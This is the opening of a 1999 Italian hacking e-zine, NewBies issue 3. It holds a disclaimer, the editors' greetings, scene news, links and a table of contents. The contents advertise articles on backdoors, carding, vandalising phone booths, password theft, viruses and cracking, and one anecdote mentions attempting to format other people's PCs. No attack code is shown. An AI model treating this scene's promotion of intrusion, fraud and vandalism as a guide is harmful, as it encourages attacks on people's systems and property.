@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
|
_
_
____ _
|
| | \ | | _____
_| __ )(_) ___ ___ |
-+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+: | |\ | __/\ V V /| |_) | | __|__ \ :
| |_| \_|\___| \_/\_/ |____/|_|\___|___/ |
@-,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,.,”ì'ì”,-@
NEW BIES (num 3) (data 07/05/99)
[ powered By ZeroCool and N0bodY88 ]
DISCLAIMER LEGALE
-----------------------------------------------------------------------------IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE
TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X
CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE
QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE
VICENDEVOLMENTE.....DIVERTENDOSI!
N0bodY88 of NewBies Staff
-----------------------------------------------------------------------------PREMESSA
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies
stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico
giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un
articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno
fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere
(fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa
che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti
e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo
realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine
non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci
x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo
sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra'
deciso di passare a linux, di programmare in visual basic, di farsi una propria
backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di
voci nei menu x essere quello tanto decantato dovunque, ma anche troppo
simpatico
con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a
qualcosa. E ricordate...newbies si nasce, hacker si diventa.
Buona lettura ^__^
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
INTRODUZIONE:
Intro:
Hey benvenuti al numero 3 di questa nostra e-zines io e nobo siam sempre +
amici oramai e per questo lo saluto dicendo sei stramitico , saluto il mitico
\Spirit\ di bfi dicendo : bfi5 mi e'piaciuto molto [l'ho letto tutto di un
fiato ] , volevo farti cmq notare anche se non abbiamo fatto in tempo a
dirtelo prima su NewBies 2 ci siamo anche noi completamente dissociati
dall'apporre e divulgare green e per questo avevamo deciso di togliere la
pagina dei green anche se tutto cio' non e' ancora stato fatto . Voglio anche
farti notare che quelli esposti non erano veri e propri green ma numeri di
info o altro , che cmq non servono x collegarsi a internet , cmq accetto la
critica ovviamante giusta e concordo su come la pensi pienamente e colgo
l'occasione per essere stato cosi'poco furbo da non toglierli subito.
Colgo anche l'occasione dato che gia'molti me lo hanno fatto notare che un
paio di articoli sono stati rippati completamente in NewBies 2 da testi
inglesi da alcuni dei nostri collaboratori , inizio col dire che sia io che
N0bodY88 non ci riteniamo responsabili per simili lamerate e che cmq chi ha
fatto la cazzata di rippare e' stato immediatamente espulso dalla crew che
preferisce avere 10 articoli fatti bene che 100 fatti alla cazzo . Spero di
essermi fatto capire bene , credo che rippare sia scorretto soppratutto
verso chi ha lavorato a un testo giungendo con il proprio lavoro a un
risultato ; io sinceramente mi incazzerei come una mina se qualcuno rippasse
i miei articoli [anche se non penso che meritino di essere rippati
[doppiosenso scusate] ] .... Saluto tutto quelli che conosco in internet e
in particolare: N0bodY88 , Ax1s , DarkSchnaider [o meglio Garo della
Garofanosoft ] , \Spirit\ , Cavallo, quelli di rootsheel , i miei amici di
Telstra , i miei amiconi di efnet in particolare dei canali #roms , #emu ,
#italia su efnet siete mitici , quelli su irc.tin.it nei canali #hackernow
e #hackers , w00w00 , RaffyCrash , quelli di #emuita in particolare F{G}F ,
Spino , Etron e Mythos e questa volta il mio saluto va' con tutto il cuore
a due persone in particolare : Kevin [liberateloooooo] e SKuZ [una persona
che sa' quello che vale eppure non si va'vanta].
Raga ci si vede tutti all'Hackit99
ZeroCool
Provoces the best you will die like a slave
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Í»
º
ARTICOLO
ÌÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎÍÎ͹
AUTORE
º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
͹
|PREMESSA
N0bodY88
|
|INTRODUZIONE
ZeroCool
|
|NOVITA'
NewBies Staff
|
³
BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW
N0bodY88
³
³
QUALCHE LINK E QUALKE NEWS
ZeroCool
³
³
ELECTRO-RIPPER I DDT E I DIB
N0bodY88
³
³
PRESO GRANDE HACKER CHE USAVA UN VIRUS !!!
3uC@50L
³
³
L'ANGOLO DELLA POSTA
ZeroCool
³
³
RIEPILOGO LINK IN ORDINE ALFABETICO
N0bodY88
³
|INFO SUGLI ALLEGATI
NewBies Staff
|
³
2 PAROLE SUGLI ALLEGATI
N0bodY88
³
|PROGRAMMAZIONE
NewBies Staff
|
³
C TUTORIAL [ TERZA PARTE ]
ElectroRipper
³
³
MIRC SCRIPTING TUTORIAL [ PRIMA PARTE ]
SpYmAsTeR
³
³
NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL
Master-Parsifal³
³
PASCAL TUTORIAL [ SECONDA PARTE ]
T0rment0
³
³
PRIMI PASSI VERSO L'ASSEMBLER [ PRIMA PARTE ]
So[RD]eN
³
³
SUGGERIMENTI PER IL VISUAL BASIC
T0rment0
³
³
BACKDOORS FOR DUMMIES (OVVERO COME FARSI UNA BACKDOOR)
©ipLey
³
³
PROGRAMMAZIONE DI DEMO X NINTENDO 64
ZeroCool
³
|ANARCHIA, BANCHE, BOMBE ET SIMILI
NewBies Staff
|
³
COME RENDERE INUTILIZZABILE UNA CABINA TELEFONICA
Fusyllo
³
³
COME HACKERARE UN COIN-OP
PiNbALL
³
³
"COMPLETAMENTO" DELL'ART APPARSO SU NewBies 2 SULLE BANCHE Anonimo
³
³
LE "FAMOSE" BOLLE MICROSOFT
Dante
Alighieri³
³
W LA PESCA DI FRODO
Anonymous
³
³
W I PROF ASSENTI DA sQuola
Anonymous
³
³
L'ARTE DEL CARDING
Killex
³
³
ARRIVANO I VANDALI !!!
Fusyllo
³
³
POSTING:SE IO SONO IO E TU 6 TU KI E' IL + SCEMO TRA NOI 2 Dante
Alighieri³
³
COME HACKERARE UNO SCOOTER
PiNbALL
³
|CRACKING
NewBies Staff
|
³
COME CRACKARE UN PROGRAMMA
Quequero
³
³
PRINCIPI DI BASE X CRACKARE UN GIOCHINO
AnArChY
³
³
CRACKARE TELEPORT PRO 1.29
Quequero
³
³
CRACKING, QUESTO SCONOSCIUTO
SpYmAsTeR
³
³
CRAKKIAMO AGE OF EMPIRES
DeViLNeT
³
³
UN BREVE TUTORIAL SUI GENERATORI DI CHIAVI
+MaLaTTiA
³
³
UN ESEMPIO DI DLL REVERSING
-NeuRaL_NoiSE
³
³
PE-CRYPTERS: UNO SGUARDO DA VICINO AL C.D. "FORMATO" PE
Kill3xx
³
³
MANUALE DI CRACKING
S2
³
|TEORIA
NewBies Staff
|
³
COME FUNZIONA NETSTAT
Barninga Z
³
³
SISTEMI OPERATIVI
Frensis
³
³
KERBEROS...IL CAGNACCIO
Ulntwh99
³
³
GESTIRE + SCHEDE DI RETE CON WINDOWS 95
Barninga Z
³
³
TCP/IP (QUELLO CHE ANCORA NON E' STATO DETTO)
DarkSide
³
³
NETWORK UTILITIES FOR DUMMIES
Firebeam
³
³
DALLA PARTE DEI SYSADMIN
Alpha-666
³
³
L'ABC DELLE RETI
N0bodY88
³
³
LA SCATOLA MAGICA
GCC
³
|TRADUZIONI
NewBies Staff
|
³
PRESENTAZIONE
Wurz
³
³
EXPLOITS
Wurz
³
³
COME AVERE LA PASSWORD ISP DEL TUO AMICO/NEMICO
Wurz
³
³
LARGE PACKET ATTACKS (ALIAS PING DELLA MORTE)
Wurz
³
|INTERVISTE
NewBies Staff
|
³
INTERVISTA A UN HACKER - REDATTORE DI E-ZINE
N0bodY88
³
³
INTERVISTA A UNA CREW POCO CONOSCIUTA...
NonHoNome
³
|LOG DEL MESE
NewBies Staff
|
³
M0F0Z LAMER O HACKER ???
Kalidor
³
³
SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO?
³
|PHREAKING
|
³
ASCOLTARE LE CHIAMATE DEI CELLULARI
³
³
SEGRETERIA DEI CELLULARI TIM
³
³
BLUE BOX
³
³
BOXA DI QUI, BOXA DI LA'
³
|VIRUS
|
³
FILOSOFIA DEL VIRER MODERNO
³
³
DABATCHA PRESENTS: VBASIC DAFT-PROGRAMMING
³
³
TIPI DI VIRUS
³
³
PEPSI5: PACCHETTI UDP A TRADIMENTO
³
³
MACRO - VIRUS
³
|IL MONDO DI IRC
|
³
COME PIAZZARE UN BOT-to SENZA FARCELO SALTARE
³
³
IRC NETWORKS
³
³
INTERVISTA CON UN IRCOP
³
³
IRC SECURITY
³
³
NONSOLOKICK PASSWORDZ
³
³
IL PUNTO SU IRC
³
³
GUIDA PRATICA AL SETTAGGIO DI UN BOT
Alighieri³
|HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI
|
³
LO CHIAMAVANO GUEST STAR
³
³
TRASHING.. CHE PASSIONE!
³
³
PIEDINI CHE CASINO!
³
³
AGGRESSOR
³
³
GUIDA AL NETBUS 2.0
³
³
BREVI SAGGI DI NETWORKING SOTTO LINUX 1
³
³
TV HACKING E SATELLITE CRACKING
³
³
BREVI SAGGI DI NETWORKING SOTTO LINUX 2
³
³
SISTEMI DI NUMERAZIONE (BINARIO, DECIMALE, ESADECIMALE)
³
³
NAVIGHIAMO AL NETCAFE' IN ALLEGRIA
³
³
COME CREARVI UN MENU DI BOOT PERSONALIZZATO
³
³
COME SCAVALCARE LA PASSWORD DEL BIOS
³
³
LA STORIA DELL'HACKING
³
³
L'ANGOLO DEI FILM INTERESSANTI
³
³
UNIX AIX ALLA JOHN THE RIPPER
N0bodY88
NewBies Staff
Fusyllo
Velvet
VaFfa
ZeroCool
NewBies Staff
Caos83
~ÑaBat½ha
Quequero
T0rment0
T0rment0
NewBies Staff
The Sciack
SpYmAsTeR
SpYmAsTeR
SpYmAsTeR
1-v-n0-n4m3
TetoFuck
Dante
NewBies Staff
Cavallo
HarLoK
RigoR MorteM
SpYmAsTeR
Quequero
Alpha-666
ZeroCool
Alpha-666
Quequero
Unlt
SpYmAsTeR
Yago
T0rment0
N0bodY88
McFly
³
³
ARTICOLO DI CHRISTOPHER KLAUS X ROOTSHELL
ZeroCool
³
³
LISTA PORTE
Dante
Alighieri³
³
NETBUS
Sephiroth
³
³
KEY LOGGER QUESTO SCONOSCIUTO
Sephiroth
³
³
OVERCLOCKING [ SECONDA PARTE ]
Ulntwh99
³
³
ICQ EXPLOIT OVVERO COME FOTTERE LE PASS
Sephiroth
³
³
OVERCLOCK E OVERCLOCK VOODOO 1
SoftWord
³
³
CHE ABBIANO CAPITO QUALCOSA?
Ja[3]Ck
³
³
HACKING DEI COMPUTER NETBIOSSATI
Kalidor
³
³
TRE SEMPLICI BACKDOOR
HaMelIn
³
³
CACHE DI IE...DOVE HAI MESSO IL MIO MIDI???
N0bodY88
³
³
SICUREZZA E LINUX
[mAx]
³
³
UNA STORIA SULLA TELEKOZZ
StuZzik0&|bLeaH³
³
AMMINISTRAZIONE AVANZATA DI UN SISTEMA UNIX
TetoFuck
³
³
COME OVERCLOCKARE IL NS. AMATO MASTERIZZATORE
Brusto
³
³
TRUCCHI SU DOS
Quequero
³
³
S.A.T.A.N.
Anti-social
³
³
RADIO CHE PASSIONE
Ulntwh99
³
³
MILANO CITTA' DI FUOCO
Ulntwh99
³
|CHEAT
NewBies Staff
|
³
TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B
P4p31_N0
³
|SALUTI
NewBies Staff
|
|PARZIALE ASSENZA DI N0bodY88
N0bodY88
|
|NEWBIES STAFF
N0bodY88
|
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÙ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°ÛÛ°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°ÛÛ°°°°°°°°²
²°°°°°°°°°°°ÛÛÛÛ°°ÛÛ°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°ÛÛ°°°°°°°Û°°°ÛÛ°°°Û°°°°°ÛÛÛ°°ÛÛ°°°°°°°°²
²°°°°°°°°°°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ²²ÛÛ°°°°ÛÛ°°°ÛÛ°°°°ÛÛ°°ÛÛÛ°ÛÛ°ÛÛÛ°°°°ÛÛ²ÛÛ°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°ÛÛÛÛ°°ÛÛ²²ÛÛ°°°°°ÛÛ°ÛÛ°°°°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
BFI, RINGZERO, SPAGHETTI PHREAKERS E IL FUTURSHOW
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Salve a tutti e benvenuti a questo nuovo numero di NewBies la e-zine fatta da
(x la maggior parte) e x newbies. Allora le novita' di questo mese o + sono
essenzialmente le seguenti, riportate in ordine alfabetico:
BFI = ebbene si non ci credo ancora su BFI 5 si e' parlato di noi! Un tnx quindi
a /sPIRIT/ al quale promettiamo qui sulla e-zine di non trattare + di
green e al quale diciamo anke che una collaborazione con la deagostini
per un corso di hacking con tanto di bb inclusa....e' una bella idea!!!
Un tnx a tutto lo staff di BFI quindi che speriamo vada avanti come e
meglio di Phreak. Il sito di BFI x quelle poke persone che tornano adesso
da una spedizione di 2 anni al centro del polo nord, e' questo:
http://softpj98.bbk.org/main.html e tanto x puntualizzare ricordiamo che
BFI e Softpj NON sono la stessa cosa quindi non confondeteli, ma amateli
entrambi :). AGGIORNAMENTO: se non potevo credere che su BFI si parlava di
noi provate a immaginarvi cosa si prova a ricevere in mail un articolo da
un certo (sconosciuto ai + =)) Cavallo de Cavallis e poi ditemi...
FUTURSHOW = gruppo neonato che...ma che cax dico? Allora il futurshow sapete
tutti cos'e' e se non lo sapete vi basti sapere (trovatemi uno che
dica lo stesso verbo tre volte in 12 parole!) che e' un insieme di
molti stand (ben 5!!!) dove ci si va a vedere le diverse radio, i
vari gestori di telefonia che sono un piacere e ve lo giuro sul
fatto che vado a messa ogni mattina....cmq direte voi se sto fs e'
cosi' na m***a xche' ce ne stai a parlare? Allora un certo tipetto
non molto conosciuto (hihihi) che in rete gira col nick RigoR MorteM
ha deciso di smettere di trovarsi a scrivere con un bel po' di gente
e ha avuto l'idea...e se ci si vedesse al fs in real mode? Alche'
io ho chiesto ad alcuni del NewBies Staff di venire, poi si sono
aggiunti altri e dai 20 che RigoR aveva in mente ci siamo trovati
in 35 (o+) tra i quali vi era gente degli Spippolatori (qualcuno...)
di BFI (2), del Softpj (2), degli Spaghetti Phreakers (1), e del
NewBies Staff (8 se non sbaglio) quindi abbiamo passato una
fantastica giornata (anke se un po' frammentati) con formattazione
(o tentata tale) di qualke pc della tin, un po' di surf su cd MS
con realativa bolla annessa (Dante docet) ci siamo divertiti un
casino, abbiamo abbinato ai nick qualke faccia e alla fine ce ne
siamo tornati a casetta propria...se volete saperne di + leggetevi
la recensione di RigoR MorteM sulle sue disavventure con gli addetti
microsoft riportata nel numero 5 di NetRunners che trovate anke nel
formato html sul fantastico sito www.spippolatori.com... cmq una
cosa la devo dire...il fs e' una....lasciamo perdere...
NETRUNNERS = ebbene si' e' uscito il mitico numero 4 di NetRunners dove trovate
un bel po' di materiale da inserire nei ns hd mentali ^_^ ...e mi
dicono stia quasi x uscire il 5ø numero, ma...cavolo almeno non
sbavate sulla stampa di NewBies! hihihi Master(C) AGGIORNAMENTO =
ebbene si' e' uscito anke il numero 5 che ho potuto visionare solo
x
poco causa prob. miei ma come al solito, 1 tremenda maledizione si
abbattera' su coloro che non la scarichera'!!!
RINGZ3R0 = con questo mitico gruppo abbiamo fatto un patto straconveniente (x
noi) nel senso che noi prendiamo alcuni dei loro articoli e li
pubblichiamo mentre loro...si accontentano di vederli pubblicati!
Sperando che dopo questo numero di NewBies non cambino sito, canale
irc x la vergogna (hihihi) saluto tutti i membri, gli external con
i quali, nel canakle, mi sono sentito veramente un programmatore di
m3rd4 xche' non capivo un cax....hihihi. PS: il loro sito che se
volete vivere dovrete visitare almeno una volta alla settimana xche'
una volta visitato provoca dipendenze (ve lo giuro!) e' il seguente:
http://ringzer0.cjb.net e ficcatevelo bene nei bookmark xche' se
amate anke solo fare programmi alla cax [come i miei] questo e' un
must! (PS: con quest'ultima frase non volevo xo' offendere i Ring0)
SPAGHETTI PHREAKERS = sito raggiungibile a http://come.to/spaghettiphreakers/
dove CdP, Blum e HaRLoK guidano un gruppo che imo puo'
portare a risultati mooooolto buoni, e se proprio non vi
bastasse la gia' presente lista di art disponbili su
cellulari, telefoni et simili, c'e' anke il famoso e
mitico cookbook di avatar. Qui sulla e-zine propongo ad
HaRLoK di valutare se fare entrare Dante negli Spaghetti,
il xche'? Ti ricordi del suo cellulare? Si si quello che
assomigliava a una cornetta di una cabina...hihihi
AGGIORNAMENTO: ora ho lo stesso modello di cellulare di
Dante :D ma il mio non funzia :((((( hihihi
SPIPPOLATORI = x i soliti poki che non lo sanno finalmente potete andare sul
sito www.spippolatori.com dove tra l'altro ci siamo anke noi
di NewBies, quindi grazie a tutti gli Spippolatori, tra i quali
spicca il Webmaster..chi e'? A voi l'ardua prova di indovinare!
Cmq andateci spesso e se potete scaricatevelo tutto che e' + di
must x qualunque hacker/phreaker/cracker/virus writer/newbies.
PS: se non ci andrete entro 2 ore dall'apertura di questo txt
i vs hd diventeranno buoni solo x giocarci come fresbee!!!!
Da segnalare il fatto che pur avendo come webmaster una persona
che lavora mooooolto [pure troppo direi!!!] il sito ogni
settimana viene aggiornato con sempre nuove guide e sempre +
guide e/o mirror di siti vengono addati [tanto x citarne alcuni
Ring0, cookbook di Avatar, NetRunners, NewBies e molti altri
vengono addati gg dopo gg quindi non esitate e andate giu' di
teleport a manetta :DDD]
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
QUALCHE LINK E QUALKE NEWS
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Un poco di news generali :
come al solito questa e' una delle parti che preferisco fare , qui si parla
di news generali , articoli , notizie , siti e nuovi programmi e secondo me
e' una buona buona parlare anche di un poco di argomenti divertenti in una
ezines cosi' specialistica.
Allora inizio a darvi il mio caro bookmark del mese con i miei sitazzi
preferiti
il mio sito under construction
http://www.wajens.no/
elenco telefonico mondiale , bellissimo da vistare assolutamente
http://www.zophar.net
Sito di emulazione
http://members.xoom.com/falconpcs/
Emulatore Saturn
http://members.xoom.com/shuma_gorath/
Emulatore Saturn
http://www.emuunlim.com
Sito Di Emulazione
http://www.moonlitcoalition.com/sunset/compat/index.html
Compatibily list For SunSet [Emulatore N64]
http://www.snes9x.com
Emulatore SuperNintendo
http://www.emucamp.com
Emulazione In Generale
http://www.bleem.com
Emulatore PlayStation
http://www.elitegamer.com
Emulazione in Generale
http://www.poli.studenti.to.it/ftp/pub/music/prometeo/Giapponesi/
Prometeo
ftp://www.gnet1.com/pub1/roms/
Rom and More
http://138.232.233.38/hitman/capcom.htm
Cps1 e 2 [solo una]
adress: http://perso.infonie.fr/dam07
http://www.emux.com
http://www.classicgaming.com/thedump/
hem.passagen.se/ogg
http://neocharity.retrogames.com
http://naz.retrogames.com
http://home.columbus.rr.com/apollo69
http://www.retrogames.com
http://www.elitegamer.com/
http://www.hitsquad.org/
http://summer64.hitsquad.org/
Okki per me sti link sono bellissimi e riguardano in particolare l'emulazione.
Faccio notare per i principianti che e' uscita una distribuzione di linuzzo
denominata Mandrake , abbastanza semplice da usare ma molto pesante sul
sistema a causa della gui che si chiama kde.
Molte news riguardo programmi e exploit sono uscite in particolare
se volete cercare exploit consiglio il solito mega sitone:
www.rootshell.com
e per siti / programmi nuovi il mitico astalavista
Bha per linux consiglio : http://www.linuxgames.com/ per i giochi sempre
aggiornato e per il resto guardate http://linux.box.sk/ troverete sempre
qualcosa di aggiornato o http://www.slashdot.org/ senno'
http://www.freshmeat.net/... Bon Nuit
ZeroCool
Provoces the best you will die like a slave
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
ELECTRO-RIPPER I DDT E I DIB ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Allora in questo spazio volevo parlarvi di due nuove e-zine che andranno ad
arricchire l'underground italiano sulla rete (troppe volte sottovalutato).
La prima e' gestita da ElectroRipper (uno dei ns mitici scrittori) e potete
reperirla sul web o su irc chiedendo a me, a ElectroRipper o a qualcuno
cmq su #hackernow di IrcNet (solo xche' non so l'url da dove scaricare la
e-zine in questione, dato che appena mi arriva l'url saremo felici di
comuni carvelo [ps: a me l'hanno passata se no mettevo l'url]). Il nome
di questa nuova e-zine e' Vana Imago ed e' visualizzabile sotto dos/windows
dato che e' in formato .exe. L'interfaccia grafica e' molto bella e non occupa
neanche tanto. Io ho dato un letta agli articoli e non sembrano niente
male...se poi pensate che e' solo il primo numero di una lunga serie :)
vi sfregerete le mani dalla contentezza!!!
L'altra e-zine che sta nascendo e' curata dai DDT (Digital Destruction Team)
che potete trovare su #ddt.ita di IrcNet. Non ho visto neanche un loro
articolo finora (di quelli che andranno sulla e-zine) ma conoscendo chi ci
scrivera' (gente di Spaghetti, alcuni dei 7th_klan e gente preparata quali
Vecna, Lord_Destruction, HaRLoK...i DDT insomma!) so gia' che ne verra' fuori
una e-zine veramente niente male!
Per quanto riguarda i nuovi gruppi siamo venuti a conoscenza di un nuovo
gruppo formatosi da poco che va sotto il nome di DIB e che prossimamente
scrivera' qualke articolo x noi :) Per adesso sappiamo solo che DIB sta per
Digital Italian Bastards e che diventeranno un bel gruppo tosto (speriamo :).
Non ci resta quindi che augurare un bocca al lupo x entrambe le e-zine ai
nuovi gruppi quali i DIB e molti altri che si stanno formando; ci tengo a
precisare che NON c'e' nessuna rivalita' [ almeno simp ] tra le varie e-zine,
anzi prevale lo spirito di collaborazione, d'altra parte tutti lo facciamo per
insegnare quel poco che sappiamo e x imparare di + :-)
Se volete mandare una mail in cui indicate il nome della vs crew e esporci i
vs obbiettivi, i requisiti x essere ammessi, potremo mettere in contatto gente
che magari non gira dove girate voi, ma che cmq ha gli stessi vs interessi.
E ricordate...come disse un grande...."Ci sono tre possibbilita': e'
possibbole, non e' possibbole, e' IMPOSSIBBOLE!!!. "
PS: se dopo avere visto le 2 e-zine direte "Che figata!!!"...be...io ve lo
avevo detto :-))))
PSS: ho sentito ElectroRipper e ho l'url dal quale potete scaricarvi la sua
nuova e-zine ---------------> http:/members.xoom.com/eripper/index.htm
PSSS: simp = secondo il mio parere [ SpaceIce rulez :D ]
Sii-iiuuu-suuunnn
N0bodY88
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ PRESO GRANDE HACKER CHE USAVA UN VIRUS !!! ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Riporto qua sotto un art. apparso sull'ultimo bollettino delle novita' di
